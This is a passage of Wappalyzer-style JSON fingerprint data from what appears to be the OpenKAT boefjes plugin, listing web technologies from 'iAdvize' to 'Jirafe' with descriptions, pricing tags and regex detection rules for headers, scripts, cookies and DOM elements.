\"https://www.i-motor.com.au\"\n  },\n  \"i30con\": {\n    \"cats\": [\n      17\n    ],\n    \"description\": \"i30con is an icon toolkit based on CSS and JavaScript.\",\n    \"dom\": [\n      \"[class^='i30con']\"\n    ],\n    \"icon\": \"30namaPlayer.svg\",\n    \"website\": \"https://30nama.com/\"\n  },\n  \"iAdvize\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"iAdvize is a conversational marketing platform that connects customers in need of advice with experts who are available 24/7 via messaging.\",\n    \"dom\": [\n      \"link[href*='.iadvize.com']\"\n    ],\n    \"icon\": \"iAdvize.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.iadvize\\\\.com/\"\n    ],\n    \"website\": \"https://www.iadvize.com\"\n  },\n  \"iCIMS\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"iCIMS is a talent acquisition and internal mobility platform that delivers solutions to build, retain, and scale your workforce.\",\n    \"icon\": \"iCIMS.svg\",\n    \"saas\": true,\n    \"scripts\": [\n      \"icims\\\\.com\"\n    ],\n    \"website\": \"https://www.icims.com\"\n  },\n  \"iEXExchanger\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"iexexchanger_session\": \"\"\n    },\n    \"icon\": \"iEXExchanger.png\",\n    \"implies\": [\n      \"PHP\",\n      \"Apache HTTP Server\",\n      \"Angular\"\n    ],\n    \"meta\": {\n      \"generator\": \"iEXExchanger\"\n    },\n    \"website\": \"https://exchanger.iexbase.com\"\n  },\n  \"iGoDigital\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"iGoDigital provides web-based commerce tools, personalisation, and product recommendations designed to increase customer interaction.\",\n    \"icon\": \"default.svg\",\n    \"scriptSrc\": [\n      \"\\\\.igodigital\\\\.com/\"\n    ],\n    \"website\": \"https://www.igodigital.com\"\n  },\n  \"iHomefinder IDX\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"iHomefinder provides IDX property search, built-in CRM, and marketing tools.\",\n    \"icon\": \"iHomefinder IDX.svg\",\n    \"js\": {\n      \"ihfJquery\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.idxhome\\\\.com/\"\n    ],\n    \"website\": \"https://www.ihomefinder.com\"\n  },\n  \"iPresta\": {\n    \"cats\": [\n      6\n    ],\n    \"icon\": \"iPresta.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"PrestaShop\"\n    ],\n    \"meta\": {\n      \"designer\": \"iPresta\"\n    },\n    \"website\": \"https://ipresta.ir\"\n  },\n  \"iScripts\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"iScripts is a multi product CMS system based on PHP.\",\n    \"icon\": \"iScripts.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"copyright\": \"^Copyright \\\\(C\\\\) www\\\\.iScripts\\\\.com,? \\\\d{4}\\\\. All rights reserved\\\\.$\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.iscripts.com\"\n  },\n  \"iSina Chat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"iSina Chat is a live chat service that provides online support and FAQ for customers.\",\n    \"icon\": \"iSina Chat.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"chat\\\\.isina\\\\.agency/\"\n    ],\n    \"website\": \"https://isina.agency\"\n  },\n  \"iThemes Security\": {\n    \"cats\": [\n      87,\n      16\n    ],\n    \"description\": \" iThemes Security(formerly known as Better WP Security) plugin enhances the security and protection of your WordPress website.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/better-wp-security/']\"\n    ],\n    \"icon\": \"iThemes Security.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/better-wp-security/\"\n    ],\n    \"website\": \"https://ithemes.com/security\"\n  },\n  \"iWeb\": {\n    \"cats\": [\n      20\n    ],\n    \"description\": \"iWeb is a web site creation tool.\",\n    \"icon\": \"Apple.svg\",\n    \"meta\": {\n      \"generator\": \"^iWeb( [\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.apple.com/welcomescreen/ilife/iweb-3/\"\n  },\n  \"idCloudHost\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"idCloudHost is a local web service provider based in Indonesia that offer a wide range of services including domain name registration and cloud hosting.\",\n    \"dns\": {\n      \"NS\": \"ns\\\\d+\\\\.cloudhost\\\\.id\",\n      \"SOA\": \"ns\\\\d+\\\\.cloudhost\\\\.id\"\n    },\n    \"icon\": \"idCloudHost.svg\",\n    \"website\": \"https://idcloudhost.com\"\n  },\n  \"ikiwiki\": {\n    \"cats\": [\n      8\n    ],\n    \"cpe\": \"cpe:2.3:a:ikiwiki:ikiwiki:*:*:*:*:*:*:*:*\",\n    \"description\": \"ikiwiki is a free and open-source wiki application.\",\n    \"html\": [\n      \"<link rel=\\\"alternate\\\" type=\\\"application/x-wiki\\\" title=\\\"Edit this page\\\" href=\\\"[^\\\"]*/ikiwiki\\\\.cgi\",\n      \"<a href=\\\"/(?:cgi-bin/)?ikiwiki\\\\.cgi\\\\?do=\"\n    ],\n    \"icon\": \"ikiwiki.png\",\n    \"website\": \"https://ikiwiki.info\"\n  },\n  \"imagesLoaded\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"jQuery plugin for seeing if the images are loaded.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"imagesloaded(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://imagesloaded.desandro.com/\"\n  },\n  \"imperia CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"imperia CMS is a headless content management for large editorial.\",\n    \"dom\": [\n      \"source[srcset*='.de/imperia/md/images/']\"\n    ],\n    \"icon\": \"imperiaCMS.svg\",\n    \"implies\": [\n      \"Perl\"\n    ],\n    \"meta\": {\n      \"generator\": \"^IMPERIA\\\\s([\\\\d\\\\.\\\\_]+)\\\\;version:\\\\1\",\n      \"x-imperia-live-info\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.pirobase-imperia.com/de/solutions/imperia-cms\"\n  },\n  \"inSales\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"inSales is a SaaS ecommerce platform with multichannel integration.\",\n    \"icon\": \"inSales.svg\",\n    \"js\": {\n      \"InSales\": \"\",\n      \"InSalesUI\": \"\",\n      \"insalesGeocodeResults\": \"\"\n    },\n    \"meta\": {\n      \"insales-redefined-api-method\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.insales.com\"\n  },\n  \"inSided\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"inSided is the only Customer Success Community Platform built to help SaaS companies improve customer success and retention.\",\n    \"icon\": \"inSided.svg\",\n    \"js\": {\n      \"inSidedData\": \"\",\n      \"insided\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.insided.com\"\n  },\n  \"ip-api\": {\n    \"cats\": [\n      79\n    ],\n    \"icon\": \"ip-api.png\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://ip-api.com/\",\n    \"xhr\": [\n      \"ip-api\\\\.com\"\n    ]\n  },\n  \"ip-label\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"iplabel.svg\",\n    \"js\": {\n      \"clobs\": \"\"\n    },\n    \"scriptSrc\": [\n      \"clobs\\\\.js\"\n    ],\n    \"website\": \"https://www.ip-label.com\"\n  },\n  \"ipapi\": {\n    \"cats\": [\n      79\n    ],\n    \"description\": \"ipapi is a real-time geolocation and reverse IP lookup REST API.\",\n    \"icon\": \"ipapi.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://ipapi.com\",\n    \"xhr\": [\n      \"api\\\\.ipapi\\\\.com\"\n    ]\n  },\n  \"ipapi.co\": {\n    \"cats\": [\n      79\n    ],\n    \"description\": \"ipapi.co is a web analytics provider with IP address lookup and location API.\",\n    \"icon\": \"ipapi.co.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://ipapi.co\",\n    \"xhr\": [\n      \"ipapi\\\\.co/\"\n    ]\n  },\n  \"ipbase\": {\n    \"cats\": [\n      79\n    ],\n    \"description\": \"ipbase offers an API that supports both IPv4 and IPv6 and provides precise location data from IP addresses.\",\n    \"icon\": \"ipbase.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://ipbase.com\",\n    \"xhr\": [\n      \"api\\\\.ipbase\\\\.com\"\n    ]\n  },\n  \"ipdata\": {\n    \"cats\": [\n      79\n    ],\n    \"description\": \"ipdata is a JSON IP Address Geolocation API that allows to lookup the location of both IPv4 and IPv6.\",\n    \"icon\": \"ipdata.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://ipdata.co/\",\n    \"xhr\": [\n      \"api\\\\.ipdata\\\\.co\"\n    ]\n  },\n  \"ipgeolocation\": {\n    \"cats\": [\n      79\n    ],\n    \"description\": \"ipgeolocation is an IP Geolocation API and Accurate IP Lookup Database.\",\n    \"icon\": \"ipgeolocation.png\",\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://ipgeolocation.co/\",\n    \"xhr\": [\n      \"api\\\\.ipgeolocation\\\\.io\"\n    ]\n  },\n  \"ipify\": {\n    \"cats\": [\n      79\n    ],\n    \"description\": \"ipify is a service which provide public IP address API, IP geolocation API, VPN and Proxy detection API products.\",\n    \"icon\": \"ipify.png\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.ipify\\\\.org\"\n    ],\n    \"website\": \"https://ipify.org\",\n    \"xhr\": [\n      \"(?:api|api64|geo)\\\\.ipify\\\\.org\"\n    ]\n  },\n  \"ipstack\": {\n    \"cats\": [\n      79\n    ],\n    \"description\": \"ipstack is a real-time IP to geolocation API capable of looking at location data and assessing security threats originating from risky IP addresses.\",\n    \"icon\": \"ipstack.svg\",\n    \"js\": {\n      \"ENV.ipStackAccessToken\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://ipstack.com\",\n    \"xhr\": [\n      \"api\\\\.ipstack\\\\.com\"\n    ]\n  },\n  \"iubenda\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"iubenda is a compliance software used by businesses for their websites and apps.\",\n    \"icon\": \"iubenda.svg\",\n    \"js\": {\n      \"_iub\": \"\",\n      \"addIubendaCs\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"iubenda\\\\.com/\"\n    ],\n    \"website\": \"https://www.iubenda.com\"\n  },\n  \"iyzico\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"iyzico is a payment receipt system management platform that offers ePayment solutions.\",\n    \"icon\": \"iyzico.svg\",\n    \"js\": {\n      \"iyz.ideaSoft\": \"\",\n      \"iyz.position\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.iyzico.com\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/j.json",
    "content": "{\n  \"J2Store\": {\n    \"cats\": [\n      6\n    ],\n    \"cpe\": \"cpe:2.3:a:j2store:j2store:*:*:*:*:*:joomla\\\\!:*:*\",\n    \"description\": \"J2Store is a Joomla shopping cart and ecommerce extension.\",\n    \"icon\": \"j2store.svg\",\n    \"implies\": [\n      \"Joomla\"\n    ],\n    \"js\": {\n      \"j2storeURL\": \"\"\n    },\n    \"pricing\": [\n      \"onetime\",\n      \"freemium\",\n      \"low\"\n    ],\n    \"website\": \"https://www.j2store.org\"\n  },\n  \"JANet\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"JANet is an affiliate marketing network.\",\n    \"dom\": [\n      \"img[src*='.j-a-net.jp'],img[data-src*='.j-a-net.jp']\"\n    ],\n    \"icon\": \"JANet.svg\",\n    \"website\": \"https://j-a-net.jp\"\n  },\n  \"JAlbum\": {\n    \"cats\": [\n      7\n    ],\n    \"description\": \"jAlbum is across-platform photo website software for creating and uploading galleries from images and videos.\",\n    \"icon\": \"JAlbum.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"meta\": {\n      \"generator\": \"JAlbum( [\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://jalbum.net/en\"\n  },\n  \"JBoss Application Server\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:redhat:jboss_application_server:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"X-Powered-By\": \"JBoss(?:-([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"JBoss Application Server.png\",\n    \"website\": \"https://jboss.org/jbossas.html\"\n  },\n  \"JBoss Web\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:redhat:jbossweb:*:*:*:*:*:*:*:*\",\n    \"excludes\": [\n      \"Apache Tomcat\"\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"JBossWeb(?:-([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"JBoss Web.png\",\n    \"implies\": [\n      \"JBoss Application Server\"\n    ],\n    \"website\": \"https://jboss.org/jbossweb\"\n  },\n  \"JET Enterprise\": {\n    \"cats\": [\n      6\n    ],\n    \"headers\": {\n      \"powered\": \"jet-enterprise\"\n    },\n    \"icon\": \"JET Enterprise.svg\",\n    \"website\": \"https://www.jetecommerce.com.br/\"\n  },\n  \"JS Charts\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"JS Charts is a JavaScript-based tool for creating customizable charts, such as bar, pie, and line charts, with minimal coding required for integration into web projects.\",\n    \"icon\": \"JS Charts.svg\",\n    \"js\": {\n      \"JSChart\": \"\"\n    },\n    \"scriptSrc\": [\n      \"jscharts.{0,32}\\\\.js\"\n    ],\n    \"website\": \"https://www.jscharts.com\"\n  },\n  \"JS.org\": {\n    \"cats\": [\n      109\n    ],\n    \"description\": \"JS.org is a provider of free subdomains for JavaScript-based projects.\",\n    \"dom\": [\n      \"link[href*='.js.org/'][rel='canonical']\"\n    ],\n    \"icon\": \"JSOrg.svg\",\n    \"oss\": true,\n    \"website\": \"https://js.org\"\n  },\n  \"JSEcoin\": {\n    \"cats\": [\n      56\n    ],\n    \"description\": \"JSEcoin is a way to mine, receive payments for your goods or services and transfer cryptocurrency\",\n    \"icon\": \"JSEcoin.png\",\n    \"js\": {\n      \"jseMine\": \"\"\n    },\n    \"scriptSrc\": [\n      \"^(?:https):?//load\\\\.jsecoin\\\\.com/load/\"\n    ],\n    \"website\": \"https://jsecoin.com/\"\n  },\n  \"JSS\": {\n    \"cats\": [\n      12,\n      47\n    ],\n    \"description\": \"JSS is an authoring tool for CSS which allows you to use JavaScript to describe styles in a declarative, conflict-free and reusable way.\",\n    \"dom\": [\n      \"style[data-jss]\"\n    ],\n    \"icon\": \"JSS.svg\",\n    \"oss\": true,\n    \"website\": \"https://cssinjs.org/\"\n  },\n  \"JSZip\": {\n    \"cats\": [\n      59\n    ],\n    \"cpe\": \"cpe:2.3:a:jszip_project:jszip:*:*:*:*:*:*:*:*\",\n    \"description\": \"JSZip is a JavaScript library that enables the creation, reading, and manipulation of zip files in a browser environment.\",\n    \"js\": {\n      \"JSZip.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/jszip\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://stuk.github.io/jszip/\"\n  },\n  \"JShop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"JShop is the ecommerce database solution marketed by Whorl Ltd. worldwide.\",\n    \"icon\": \"JShop.svg\",\n    \"js\": {\n      \"jss_1stepDeliveryType\": \"\",\n      \"jss_1stepFillShipping\": \"\"\n    },\n    \"website\": \"https://www.whorl.co.uk\"\n  },\n  \"JTL Shop\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"JTLSHOP\": \"\"\n    },\n    \"description\": \"JTL Shop is an ecommerce product created by JTL Software company.\",\n    \"html\": [\n      \"(?:<input[^>]+name=\\\"JTLSHOP|<a href=\\\"jtl\\\\.php)\"\n    ],\n    \"icon\": \"JTL Shop.svg\",\n    \"website\": \"https://www.jtl-software.de/online-shopsystem\"\n  },\n  \"JUST\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"JUST is a one-click payment solution for online business and online shoppers.\",\n    \"icon\": \"JUST.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"checkout-button-.+/just-pay-button\\\\.js\"\n    ],\n    \"website\": \"https://www.getjusto.com\"\n  },\n  \"JW Player\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"JW Player is a online video player with video engagement analytics, custom video player skins, and live video streaming capability.\",\n    \"dom\": [\n      \"div[data-video-provider*=jwplayer]\"\n    ],\n    \"icon\": \"JW Player.svg\",\n    \"js\": {\n      \"jwDefaults\": \"\",\n      \"jwplayer\": \"\",\n      \"jwplayerApiUrl\": \"\",\n      \"webpackJsonpjwplayer\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.jwplayer\\\\.com\",\n      \"\\\\.jwpcdn\\\\.com\"\n    ],\n    \"website\": \"https://www.jwplayer.com\",\n    \"xhr\": [\n      \"\\\\.jwpsrv\\\\.com\"\n    ]\n  },\n  \"Jade\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Jade is a templating engine primarily used for server-side templating in NodeJS.\",\n    \"icon\": \"Jade.svg\",\n    \"js\": {\n      \"JADE.components\": \"\"\n    },\n    \"website\": \"https://jade-lang.com\"\n  },\n  \"Jadu\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"The Jadu Digital Platform provides the foundation of accessible, responsive and award-winning Websites, Forms, CRM and Portal solutions.\",\n    \"dom\": [\n      \"a[href*='www.jadu.net']\"\n    ],\n    \"headers\": {\n      \"Node\": \"jadu-web-1\"\n    },\n    \"icon\": \"jadu.png\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.jadu.net/\"\n  },\n  \"Jahia DX\": {\n    \"cats\": [\n      1,\n      47\n    ],\n    \"html\": [\n      \"<script id=\\\"staticAssetAggregatedJavascrip\"\n    ],\n    \"icon\": \"JahiaDX.svg\",\n    \"website\": \"https://www.jahia.com/dx\"\n  },\n  \"Jalios\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Jalios provides digital workplace solutions, including collaborative intranets, enterprise social networks, and document management systems, to enhance organizational communication and productivity.\",\n    \"icon\": \"Jalios.svg\",\n    \"meta\": {\n      \"generator\": \"Jalios\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.jalios.com\"\n  },\n  \"Jameda\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Jameda is an online appointment scheduling system for doctors, enabling patients to book medical consultations.\",\n    \"icon\": \"Jameda.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn1\\\\.jameda-elements\\\\.de/\"\n    ],\n    \"website\": \"https://www.jameda.de\"\n  },\n  \"Java\": {\n    \"cats\": [\n      27\n    ],\n    \"cookies\": {\n      \"JSESSIONID\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:oracle:jre:*:*:*:*:*:*:*:*\",\n    \"description\": \"Java is a class-based, object-oriented programming language that is designed to have as few implementation dependencies as possible.\",\n    \"icon\": \"Java.svg\",\n    \"website\": \"https://java.com\"\n  },\n  \"Java Servlet\": {\n    \"cats\": [\n      18\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"Servlet(?:\\\\/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Java.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"website\": \"https://www.oracle.com/technetwork/java/index-jsp-135475.html\"\n  },\n  \"JavaScript Infovis Toolkit\": {\n    \"cats\": [\n      25\n    ],\n    \"icon\": \"JavaScript Infovis Toolkit.png\",\n    \"js\": {\n      \"$jit\": \"\",\n      \"$jit.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"jit(?:-yc)?\\\\.js\"\n    ],\n    \"website\": \"https://philogb.github.io/jit/\"\n  },\n  \"JavaServer Faces\": {\n    \"cats\": [\n      18\n    ],\n    \"dom\": [\n      \"input[type='hidden'][name='javax.faces.ViewState']\"\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"JSF(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"JavaServer Faces.png\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"website\": \"https://javaserverfaces.java.net\"\n  },\n  \"JavaServer Pages\": {\n    \"cats\": [\n      18\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"JSP(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Java.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"website\": \"https://www.oracle.com/technetwork/java/javaee/jsp/index.html\"\n  },\n  \"Javadoc\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"Javadoc is a tool used for generating Java code documentation in HTML format from Java source code.\",\n    \"html\": [\n      \"<!-- Generated by javadoc -->\"\n    ],\n    \"icon\": \"Java.svg\",\n    \"website\": \"https://docs.oracle.com/javase/8/docs/technotes/tools/windows/javadoc.html\"\n  },\n  \"Jekyll\": {\n    \"cats\": [\n      57\n    ],\n    \"cpe\": \"cpe:2.3:a:jekyllrb:jekyll:*:*:*:*:*:*:*:*\",\n    \"description\": \"Jekyll is a blog-aware, static site generator for personal, project, or organisation sites.\",\n    \"html\": [\n      \"Powered by <a href=\\\"https?://jekyllrb\\\\.com\\\"[^>]*>Jekyll</\",\n      \"<!-- Created with Jekyll Now -\",\n      \"<!-- Begin Jekyll SEO tag\"\n    ],\n    \"icon\": \"Jekyll.svg\",\n    \"implies\": [\n      \"Ruby\"\n    ],\n    \"js\": {\n      \"SimpleJekyllSearch\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"Jekyll\\\\sv([\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://jekyllrb.com\"\n  },\n  \"Jenkins\": {\n    \"cats\": [\n      44\n    ],\n    \"cpe\": \"cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*\",\n    \"description\": \"Jenkins is an open-source automation tool written in Java with plugins built for Continuous Integration (CI) purposes.\",\n    \"headers\": {\n      \"X-Jenkins\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"html\": [\n      \"<span class=\\\"jenkins_ver\\\"><a href=\\\"https://jenkins\\\\.io/\\\">Jenkins ver\\\\. ([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Jenkins.png\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"js\": {\n      \"jenkinsCIGlobal\": \"\",\n      \"jenkinsRules\": \"\"\n    },\n    \"website\": \"https://jenkins.io/\"\n  },\n  \"Jenny\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Jenny is a customer service chatbot platform.\",\n    \"icon\": \"Jenny.svg\",\n    \"js\": {\n      \"webpackJsonpget-jenny\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.getjenny\\\\.com/\"\n    ],\n    \"website\": \"https://www.getjenny.com\"\n  },\n  \"JetEngine\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"JetEngine is a content plugin for WordPress that allows users to create custom post types, taxonomies, and meta boxes, offering flexibility in building complex websites without requiring coding skills.\",\n    \"icon\": \"JetEngine.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/jet-engine/\"\n    ],\n    \"website\": \"https://crocoblock.com/plugins/jetengine\"\n  },\n  \"Jetpack\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Jetpack is a popular WordPress plugin created by Automattic, the people behind WordPress.com.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/jetpack/']\"\n    ],\n    \"icon\": \"Jetpack.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/jetpack/\"\n    ],\n    \"website\": \"https://jetpack.com\"\n  },\n  \"Jetpack Boost\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Jetpack Boost – Website Speed, Performance and Critical CSS.\",\n    \"dom\": [\n      \"style[id='jetpack-boost-critical-css']\"\n    ],\n    \"icon\": \"Jetpack.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/jetpack-boost/\"\n    ],\n    \"website\": \"https://jetpack.com\"\n  },\n  \"Jetshop\": {\n    \"cats\": [\n      6\n    ],\n    \"html\": [\n      \"<(?:div|aside) id=\\\"jetshop-branding\\\">\"\n    ],\n    \"icon\": \"Jetshop.png\",\n    \"js\": {\n      \"JetshopData\": \"\"\n    },\n    \"website\": \"https://jetshop.se\"\n  },\n  \"Jetty\": {\n    \"cats\": [\n      22\n    ],\n    \"description\": \"Jetty is an open-source web server and servlet container known for its scalability and efficiency, supporting protocols like HTTP and WebSocket for various applications from development tools to cloud services.\",\n    \"headers\": {\n      \"Server\": \"Jetty(?:\\\\(([\\\\d\\\\.]*\\\\d+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Jetty.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://www.eclipse.org/jetty\"\n  },\n  \"Jibres\": {\n    \"cats\": [\n      6,\n      55\n    ],\n    \"cookies\": {\n      \"jibres\": \"\"\n    },\n    \"description\": \"Jibres is an ecommerce solution with an online store builder and Point-of-Sale (PoS) software.\",\n    \"headers\": {\n      \"X-Powered-By\": \"Jibres\"\n    },\n    \"icon\": \"Jibres.svg\",\n    \"js\": {\n      \"jibres\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"Jibres\"\n    },\n    \"scriptSrc\": [\n      \"/jibres\\\\.js\"\n    ],\n    \"website\": \"https://jibres.com\"\n  },\n  \"Jilt App\": {\n    \"cats\": [\n      100,\n      98\n    ],\n    \"description\": \"Jilt App helps ecommerce store owners track and recover abandoned orders. Works seamlessly with Shopify and WooCommerce.\",\n    \"icon\": \"Jilt.svg\",\n    \"js\": {\n      \"jiltStorefrontParams.platform\": \"^shopify$\"\n    },\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"website\": \"https://community.shopify.com/c/shopify-apps/jilt-is-over-what-app-to-use-for-abandoned-carts-now/td-p/1575095\"\n  },\n  \"Jilt plugin\": {\n    \"cats\": [\n      87,\n      98\n    ],\n    \"description\": \"Jilt plugin helps ecommerce store owners track and recover abandoned orders. Works seamlessly with Shopify and WooCommerce.\",\n    \"icon\": \"Jilt.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.jilt\\\\.com/.+/jilt\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/jilt-for-woocommerce\"\n  },\n  \"Jimdo\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Jimdo is a website-builder and all-in-one hosting solution, designed to enable users to build their own websites.\",\n    \"headers\": {\n      \"X-Jimdo-Instance\": \"\",\n      \"X-Jimdo-Wid\": \"\"\n    },\n    \"icon\": \"Jimdo.svg\",\n    \"js\": {\n      \"jimdoDolphinData\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"url\": [\n      \"\\\\.jimdo(?:site)?\\\\.com/\"\n    ],\n    \"website\": \"https://www.jimdo.com\"\n  },\n  \"Jirafe\": {\n    \"cats\": [\n      10,\n      32\n    ],\n    \"icon\": \"Jirafe.png\",\n    \"js\": {\n    